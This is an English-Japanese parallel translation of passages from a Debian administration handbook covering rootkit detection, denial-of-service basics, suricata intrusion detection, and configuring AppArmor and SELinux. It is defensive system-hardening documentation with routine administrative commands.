ja: <emphasis role="pkg">chkrootkit</emphasis> と <emphasis role="pkg">rkhunter</emphasis> パッケージを使うことで、システムに潜在的にインストールされた <emphasis>rootkit</emphasis> を探し出すことが可能です。備忘録的になりますが、<emphasis>rootkit</emphasis> はシステムの不正侵入を隠すために設計されたソフトウェアで、マシンをこっそりと操作できる状態にし続けます。<emphasis role="pkg">chkrootkit</emphasis> と <emphasis role="pkg">rkhunter</emphasis> パッケージを使ったテストは 100% 信頼できるものではありませんが、管理者はテストにより潜在的な問題に対して注意を払うようになります。

en: Detecting Intrusion (IDS/NIDS)
ja: 侵入検知 (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
ja: <emphasis>BACK TO BASICS</emphasis> サービス妨害

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
ja: 「サービス妨害」攻撃の目的は 1 つしかありません。すなわち、サービスを使用不能にすることです。「サービス妨害」攻撃は問い合わせを使ってサーバに大きな負荷を加えたり、バグを不正に活用したりすることで実行されますが、どんな方法で実行されても最終結果は同じです。すなわち、サービスがもはや使用できなくなります。正規のユーザは迷惑しますし、標的にされたネットワークサービスをホストしている事業者の評価が落ちます (たとえばサービスが電子商取引サイトの場合、収入も落ちます)。

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
ja: 「サービス妨害」攻撃はしばしば「分散」されることがあります。通常の「分散」された攻撃は数多くの異なる送信元から数多くの問い合わせを送信することにより、サーバに負荷を加えます。こうすることで、サーバは正規の問い合わせに応答できなくなります。この種の攻撃には、よく知られている頭字語が与えられています。具体的に言えば、<acronym>DDoS</acronym> と <acronym>DoS</acronym> です (サービス妨害攻撃が分散型か否かで区別します)。

en: <emphasis>CAUTION</emphasis> Range of action
ja: <emphasis>CAUTION</emphasis> 動作範囲

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
ja: <command>suricata</command> の有効性は監視対象のネットワークインターフェース上を流れるトラフィックによって制限されます。<command>suricata</command> が真のトラフィックを観察することができない場合、当然ながら <command>suricata</command> は何も検出しません。<command>suricata</command> が実行されているマシンをネットワークスイッチに接続した場合、<command>suricata</command> が実行されているマシンを対象にした攻撃だけを検出することが可能です。この挙動は意図するものではないかもしれません。このため <command>suricata</command> が実行されているマシンはネットワークスイッチの「ミラー」ポートに接続されるべきです。通常「ミラー」ポートはスイッチをカスケード接続するために使われるため、すべてのトラフィックを取得することが可能です。

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
ja: <emphasis>GOING FURTHER</emphasis> <command>prelude</command> との統合

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
ja: prelude を使うことでセキュリティ情報の中央集中型監視が可能になります。prelude のモジュール式設計には、サーバ (<emphasis role="pkg">prelude-manager</emphasis> に含まれる<emphasis>マネージャ</emphasis>) が含まれ、サーバはさまざまな種類の<emphasis>センサー</emphasis>によって生成された警告を収集します。

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
ja: Suricata を prelude のセンサーとして設定することが可能です。他の可能性には <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) があります。これは (<xref linkend="sect.logcheck" />で説明されている <command>logcheck</command> と同様のやり方で) ログファイルを監視します。

en: Introduction to AppArmor
ja: AppArmor の紹介

en: Principles
ja: 原理

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
ja: AppArmor は Linux の LSM (<emphasis>Linux Security Modules</emphasis>) インターフェース上に設けられた<emphasis>強制アクセス制御</emphasis> (MAC) システムです。具体的に言えば、カーネルはそれぞれのシステムコールの前にシステムコールを発行したプロセスが指定された操作に対する権限を与えられているか AppArmor に問い合わせます。このメカニズムを通じて、AppArmor はプログラムがアクセスできるリソースを制限します。

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
ja: AppArmor プロファイルは <filename>/etc/apparmor.d/</filename> に保存され、プロファイルには各プログラムが使うことができるリソースに対するアクセス制御規則のリストが含まれています。プロファイルは <command>apparmor_parser</command> コマンドによってコンパイルされてカーネルに読み込まれます。各プロファイルは enforce または complain モードで読み込みます。enforce モードではポリシーの遵守を強制され、ポリシー違反の試行を報告されます。これに対して、complain モードではポリシーの遵守を強制されませんが、ポリシー違反で拒否されうるシステムコールを記録されます。

en: Enabling AppArmor and managing AppArmor profiles
ja: AppArmor の有効化と AppArmor プロファイルの管理

en: <emphasis>NOTE</emphasis> More AppArmor profiles
ja: <emphasis>NOTE</emphasis> さらに多くの AppArmor プロファイル

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
ja: <emphasis role="pkg">apparmor-profiles</emphasis> パッケージには上流 AppArmor コミュニティによって管理されているプロファイルが含まれます。さらに多くのプロファイルを入手するには Ubuntu と Debian によって開発されているプロファイルが含まれる <emphasis role="pkg">apparmor-profiles-extra</emphasis> をインストールしてください。

en: Creating a new profile
ja: 新規プロファイルの作成

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
ja: AppArmor プロファイルを作成することはかなり簡単な作業であるにも関わらず、多くのプログラムがプロファイルを用意していません。この節では、対象のプログラムを使いながら AppArmor に対象のプログラムが呼び出したシステムコールとアクセスするリソースを監視させることにより、ゼロから新しいプロファイルを作成する方法を示します。

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
ja: アクセス制限を設ける必要のある最も重要なプログラムはネットワークを取り扱うプログラムです。なぜなら、この種のプログラムは遠隔攻撃者からの標的になるからです。このため好都合なことに AppArmor には <command>aa-unconfined</command> コマンドが用意されています。<command>aa-unconfined</command> コマンドは関連するプロファイルが存在せず開かれたネットワークソケットを公開しているプログラムを表示します。<command>aa-unconfined</command> に <literal>--paranoid</literal> オプションを付けて実行すれば、少なくとも 1 つ以上のアクティブなネットワーク接続を持つアクセス制限を設けていないプロセスがすべて表示されます。

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
ja: 最初に別のプログラムである nm-dhcp-helper の実行イベントが検出されています。この場合、ユーザに対していくつかの選択肢が示されます。ユーザは dhclient のプロファイルを適用して nm-dhcp-helper を実行したり (「Inherit」を選んだ場合)、専用のプロファイルを適用して nm-dhcp-helper を実行したり (「Profile」と「Named」を選んだ場合。両者の違いは任意のプロファイル名を使用する可能性があるか否かです)、dhclient のサブプロファイルを適用して nm-dhcp-helper を実行したり (「Child」を選んだ場合)、プロファイルを適用せずに nm-dhcp-helper を実行したり (「Unconfined」を選んだ場合)、nm-dhcp-helper の実行を拒否したり (「Deny」を選んだ場合) することも可能です。

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
ja: ここでまだ存在しない専用プロファイルを適用して nm-dhcp-helper を実行することを選んだ場合、<command>aa-genprof</command> ツールは不足しているプロファイルを作成し、さらにこのプロファイルに対する規則を提案します。この点に注意してください。

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
ja: カーネルレベルでは root ユーザの特権が「capability」に分割されます。dhclient からのシステムコールが特定の「capability」を要求する場合、AppArmor はプロファイルの中でプログラムがその「capability」を使うことを許可されているかを確認します。

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
ja: ログ記録されたすべてのイベントを検討した後、<command>aa-genprof</command> プログラムは実行中に作成されたすべてのプロファイルを保存することを提案します。今回の場合、2 つのプロファイルを「Save」を使って一度に保存した後 (1 つずつ保存することも可能です)、「Finish」でプログラムを終了しています。

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
ja: 実際のところ <command>aa-genprof</command> は <command>aa-logprof</command> の洗練されたラッパーに過ぎません。すなわち <command>aa-genprof</command> は空のプロファイルを作成し、complain モードでそのプロファイルを読み込み、<command>aa-logprof</command> を実行しているだけです。<command>aa-logprof</command> はログ記録されたプロファイル違反に基づいてプロファイルを更新するツールです。このため、たった今作成したプロファイルを改良するために <command>aa-genprof</command> をもう一度実行することが可能です。

en: Introduction to SELinux
ja: SELinux の紹介

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
ja: SELinux (<emphasis>Security Enhanced Linux</emphasis>) は Linux の LSM (<emphasis>Linux Security Modules</emphasis>) インターフェース上に設けられた<emphasis>強制アクセス制御</emphasis>システムです。具体的に言えば、カーネルはそれぞれのシステムコールの前にシステムコールを発行したプロセスが指定された操作に対する権限を与えられているか SELinux に問い合わせます。

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
ja: SELinux はまとめて<emphasis>ポリシー</emphasis>として知られているルール群を使い、操作を許可したり禁止したりします。これらのルールの作成は難しいです。幸いなことに、設定作業の大部分を避けるために 2 種類の標準的なポリシー (<emphasis>targeted</emphasis> と <emphasis>strict</emphasis>) が提供されています。

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
ja: SELinux を使うと、権限管理が伝統的な Unix システムとは全く違ったものになります。プロセスの権限は SELinux の<emphasis>セキュリティコンテキスト</emphasis>に依存します。SELinux の<emphasis>セキュリティコンテキスト</emphasis>はプロセスを開始したユーザの <emphasis>SELinux ユーザ名</emphasis>、<emphasis>SELinux ロール</emphasis>、ユーザがプロセス開始時点で持っていた <emphasis>SELinux ドメイン</emphasis>によって定義されます。正しく言えばプロセスの権限は SELinux ドメインに依存しますが、SELinux ドメイン間の遷移は SELinux ロールによって制御されます。最後に SELinux ロール間の遷移の可否は SELinux ユーザ名に依存します。

en: Security contexts and Unix users
ja: セキュリティコンテキストと Unix ログイン名

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
ja: 権限がすべての<emphasis>オブジェクト</emphasis> (ファイル、ディレクトリ、ソケット、デバイスなど) に適用されないのは明らかです。権限はオブジェクトによって異なります。これを実現するために、それぞれのオブジェクトは <emphasis>SELinux タイプ</emphasis> と結び付けられています (これをラベリングと呼びます)。このため SELinux ドメインの権限はオブジェクトの SELinux タイプ (および、与えられた SELinux タイプによって間接的にラベリングされたすべてのオブジェクト) に対する一連の許可された (されていない) 操作を使って表現されます。

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
ja: <emphasis>EXTRA</emphasis> SELinux ドメインと SELinux タイプは同じ

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
ja: デフォルトで、プログラムはプログラムを起動したユーザに割り当てられた SELinux ドメインを継承しますが、標準的な SELinux のポリシーは多くの重要なプログラムが専用の SELinux ドメインで実行されることを要求しています。これを成し遂げるために、重要なプログラムの実行ファイルは専用の SELinux タイプでラベリングされています (たとえば、<command>ssh</command> は <literal>ssh_exec_t</literal> でラベリングされています。<command>ssh</command> プログラムが起動すると <command>ssh</command> プログラムは <literal>ssh_t</literal> SELinux ドメインに自動的に切り替わります)。この自動 SELinux ドメイン遷移メカニズムによって、それぞれのプログラムに対して必要な権限だけを認めることが可能です。これが SELinux の基本原則です。

en: Automatic transitions between domains
ja: SELinux ドメイン間の自動遷移

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
ja: <emphasis>IN PRACTICE</emphasis> セキュリティコンテキストの検索

en: <primary>context, security context</primary>
ja: <primary>コンテキスト、セキュリティコンテキスト</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
ja: シェルから現在のセキュリティコンテキストを表示するには、<command>id -Z</command> を実行するべきです。

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
ja: あるプロセスのセキュリティコンテキストを表示するには、<command>ps</command> の <literal>Z</literal> オプションを使うべきです。

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
ja: 最初のフィールドをコロンで区切ると、SELinux ユーザ名、SELinux ロール、SELinux ドメイン、MCS レベルの情報がわかります。MCS レベル (<emphasis>Multi-Category Security</emphasis>) は機密性保護ポリシーのセットアップに干渉するパラメータで、ファイルの重要性に基づいてファイルへのアクセスを管理するものです。本書では MCS の機能を説明しません。

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
ja: 最後に、ファイルに割り当てられた SELinux タイプを表示するには <command>ls -Z</command> を使います。

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
ja: ファイルに割り当てられた SELinux ユーザ名と SELinux ロールには特別な重要性がない (一切使われない) 点は注目に値しますが、統一性を保つ目的ですべてのオブジェクトは完全なセキュリティコンテキストを割り当てられています。

en: Setting Up SELinux
ja: SELinux のセットアップ

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
ja: SELinux のサポートは Debian の提供する標準的なカーネルに組み込まれています。コア Unix ツールは SELinux をサポートしており、修正は必要ありません。このため、SELinux を有効化することは比較的簡単です。

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
ja: <emphasis role="pkg">selinux-policy-default</emphasis> パッケージには、標準的なルールが含まれています。デフォルトで、このポリシーは広範囲にわたって提供されるサービスへのアクセスを制限するだけです。ユーザセッションは制限されませんから、SELinux が正当なユーザ操作を妨害することはほとんどありません。しかしながら、このポリシーはマシンで実行されているシステムサービスのセキュリティを強化します。古い「strict」ルールと同じポリシーをセットアップするには、<literal>unconfined</literal> モジュールを無効化しなければいけません (モジュール管理に関してはこの節でさらに詳しく説明しています)。

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
ja: <emphasis role="pkg">selinux-policy-default</emphasis> パッケージをインストールしたら、すべての利用できるファイルをラベリングするべきです (これはファイルに SELinux タイプを割り当てることを意味します)。この操作は <command>fixfiles relabel</command> を使って手作業で開始しなければいけません。

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
ja: これで SELinux システムの準備が整いました。SELinux を有効化するには、<literal>selinux=1 security=selinux</literal> パラメータを Linux カーネルに追加する必要があります。<literal>audit=1</literal> パラメータを指定した場合、SELinux のログ記録が有効化され、すべての拒否された操作が記録されます。最後に <literal>enforcing=1</literal> パラメータを指定した場合、ルールをアプリケーションに強制します。<literal>enforcing=1</literal> パラメータを指定しなかった場合、SELinux はデフォルトの <emphasis>permissive</emphasis> モードで動作します。<emphasis>permissive</emphasis> モードの場合、拒否された操作はログ記録され、実行されます。このため、GRUB ブートローダ設定ファイルを変更して必要なパラメータを追加するべきです。これを簡単に行うには、<filename>/etc/default/grub</filename> の中の <literal>GRUB_CMDLINE_LINUX</literal> 変数に必要なパラメータを追加し、<command>update-grub</command> を実行します。SELinux は再起動後に動作状態になります。

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
ja: <command>selinux-activate</command> スクリプトを使うことで、GRUB ブートローダ設定ファイルに対する変更操作が自動化され、次回起動時にラベリングが強制されます (強制的にラベリングすることで SELinux がまだ動作していなかった時とラベリングの実行中にラベリングされていないファイルが新しく作成されることを避けることが可能です)。この点は注目に値します。

en: Managing an SELinux System
ja: SELinux システムの管理

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
ja: <emphasis role="pkg">selinux-policy-default</emphasis> パッケージに含まれる SELinux ポリシーはモジュール式のルール群で、<emphasis role="pkg">selinux-policy-default</emphasis> パッケージはインストール時にインストール済みのサービスに基づいて対応するモジュールを自動的に検出して有効化します。そのため、システムは SELinux ポリシーをすぐに利用できるようになります。しかしながら、SELinux ポリシーを設定した後にサービスをインストールした場合、対応するモジュールを手作業で有効化する必要があります。これを行うのが <command>semodule</command> コマンドです。さらに、管理者はそれぞれのユーザに与える SELinux ロールを定義する能力を持っていなければいけません。これは <command>semanage</command> を使って行います。

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
ja: このため <command>semodule</command> と <command>semanage</command> コマンドは <filename>/etc/selinux/default/</filename> に保存されている現在の SELinux 設定を変更するために使われます。<filename>/etc/</filename> に配置されている SELinux 以外の設定ファイルと異なり、SELinux の設定ファイルはすべて手作業で修正されなければいけません。管理者は SELinux 設定ファイルを編集するために設計されたプログラムを使うべきです。

en: <emphasis>GOING FURTHER</emphasis> More documentation
ja: <emphasis>GOING FURTHER</emphasis> 追加的文書

en: Managing SELinux Modules
ja: SELinux モジュールの管理

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
ja: 利用できる SELinux モジュールは <filename>/usr/share/selinux/default/</filename> ディレクトリに保存されています。現在の設定の中で SELinux モジュールの 1 つをインストールするには、<command>semodule -i <replaceable>module.pp.bz2</replaceable></command> を使うべきです。<emphasis>pp.bz2</emphasis> 拡張子は bzip2 で圧縮された<emphasis>ポリシーパッケージ</emphasis>を意味しています。

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
ja: 現在の設定からモジュールを削除するには <command>semodule -r <replaceable>module</replaceable></command> を使います。最後に、<command>semodule -l</command> コマンドは現在インストールされているモジュールとそのバージョンをリストします。モジュールを選択的に有効化するには <command>semodule -e</command>、無効化するには <command>semodule -d</command> を使います。

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
ja: <command>semodule</command> は <literal>-n</literal> オプションを付けない限り、すぐさま新しい設定を読み込みます。<command>semodule</command> プログラムがデフォルトで現在の設定に対して操作を行う点は注目に値します (現在の設定は <filename>/etc/selinux/config</filename> 内の <literal>SELINUXTYPE</literal> 変数によって表されます)。しかし <literal>-s</literal> オプションを使えば、他の設定に対して操作を行うことも可能です。

en: Managing Identities
ja: ユーザの身元管理

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
ja: ユーザはログイン時に毎回、SELinux ユーザ名を割り当てられます。SELinux ユーザ名はユーザに与える SELinux ロールを定義します。<command>semanage</command> コマンドを使えば、2 種類 (Unix ログイン名から SELinux ユーザ名へ、SELinux ユーザ名から SELinux ロールへ) の対応付けを設定することが可能です。

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
ja: <command>semanage login -l</command> は Unix ログイン名と SELinux ユーザ名の現在の対応付けをリストします。明確なエントリを設定されていない Unix ログイン名を持つユーザは <literal>__default__</literal> という Unix ログイン名に対応する SELinux ユーザ名を割り当てられます。<command>semanage login -a -s user_u <replaceable>user</replaceable></command> コマンドを使うことで、<replaceable>user</replaceable> で指定した Unix ログイン名を持つユーザに <emphasis>user_u</emphasis> で指定した SELinux ユーザ名を割り当てます。最後に、<command>semanage login -d <replaceable>user</replaceable></command> は <replaceable>user</replaceable> で指定した Unix ログイン名を持つユーザに関連付けられたエントリを削除します。

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
ja: <command>semanage user -l</command> は SELinux ユーザ名と許可された SELinux ロールの対応付けをリストします。新しい SELinux ユーザ名を追加する場合、SELinux ユーザ名に対応する SELinux ロールと、個人ファイル (<filename>/home/<replaceable>user</replaceable>/*</filename>) に SELinux タイプを割り当てるために使われるラベリングプレフィックスが必要になります。このプレフィックスは <literal>user</literal>、<literal>staff</literal>、<literal>sysadm</literal> のどれか 1 つを選ばなければいけません。「<literal>staff</literal>」プレフィックスを選んだ場合、ファイルの SELinux タイプは「<literal>staff_home_dir_t</literal>」になります。新しい SELinux ユーザ名を作成するには <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command> を使います。最後に、SELinux ユーザ名を削除するには <command>semanage user -d <replaceable>identity</replaceable></command> を使います。

en: Managing File Contexts, Ports and Booleans
ja: ファイルコンテキスト、ポート、ブール値の管理

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
ja: 各 SELinux モジュールにはファイルラベリングルール群が含まれますが、特別な場合に応じてラベリングルールをカスタマイズすることも可能です。たとえば、ウェブサーバに <filename>/srv/www/</filename> ファイル階層内のファイルを読むことを許可する場合、<command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> を実行し、その後 <command>restorecon -R /srv/www/</command> を実行します。<command>semanage fcontext -a</command> で新しいラベリングルールを登録し、<command>restorecon</command> で現在のラベリングルールに基づいてファイルの SELinux タイプを再設定します。

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
ja: 同様に TCP/UDP ポートをラベリングして、ポート番号とそのポートのリッスンを許可するデーモンを対応付けることが可能です。たとえば、ウェブサーバがポート 8080 番をリッスンすることを可能にしたい場合、<command>semanage port -m -t http_port_t -p tcp 8080</command> を実行します。

en: Adapting the Rules
ja: ルールの適用

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
ja: SELinux ポリシーはモジュール式なので、モジュールの用意されていない (場合によっては特注の) アプリケーション用に新しいモジュールを開発する方法を知っておくと良いでしょう。新しいモジュールは<emphasis>リファレンスポリシー</emphasis>を満足させなければいけません。

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
ja: 新しいモジュールを作成するには、<emphasis role="pkg">selinux-policy-dev</emphasis> および <emphasis role="pkg">selinux-policy-doc</emphasis> パッケージが必要です。<emphasis role="pkg">selinux-policy-doc</emphasis> パッケージには、標準的なルールに関する文書 (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) と新しいモジュールを作成するためのテンプレートとして使えるサンプルファイルが含まれます。これらのファイルをインストールし、さらにしっかりと勉強してください。

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
ja: <filename>.te</filename> ファイルは最も重要なファイルです。<filename>.te</filename> ファイルがルールを定義します。<filename>.fc</filename> ファイルは「ファイルコンテキスト」を定義します。「ファイルコンテキスト」はこのモジュールに関連するファイルに割り当てる SELinux タイプを意味します。<filename>.fc</filename> ファイルに含まれるデータはファイルのラベリング中に使われます。最後に、<filename>.if</filename> ファイルはモジュールのインターフェースを定義します。つまり、モジュールのインターフェースは一連の「公開関数」で、他のモジュールはこの関数を使ってここで作成されたモジュールと情報をやり取りします。

en: Writing a <filename>.fc</filename> file
ja: <filename>.fc</filename> ファイルの書き方

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
ja: 以下の例を読めば、<filename>.fc</filename> ファイルの構造を十分に理解することが可能です。複数のファイルおよび完全なディレクトリツリーに対して同じセキュリティコンテキストを割り当てるために、正規表現を使うことが可能です。

en: <filename>example.fc</filename> file
ja: <filename>example.fc</filename> ファイル

en: Writing a <filename>.if</filename> File
ja: <filename>.if</filename> ファイルの書き方

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
ja: 以下の例では、1 番目のインターフェース (「<literal>myapp_domtrans</literal>」) はアプリケーションを実行できるユーザを制御します。2 番目のインターフェース (「<literal>myapp_read_log</literal>」) はアプリケーションのログファイルに対する読み込み権限を制御します。

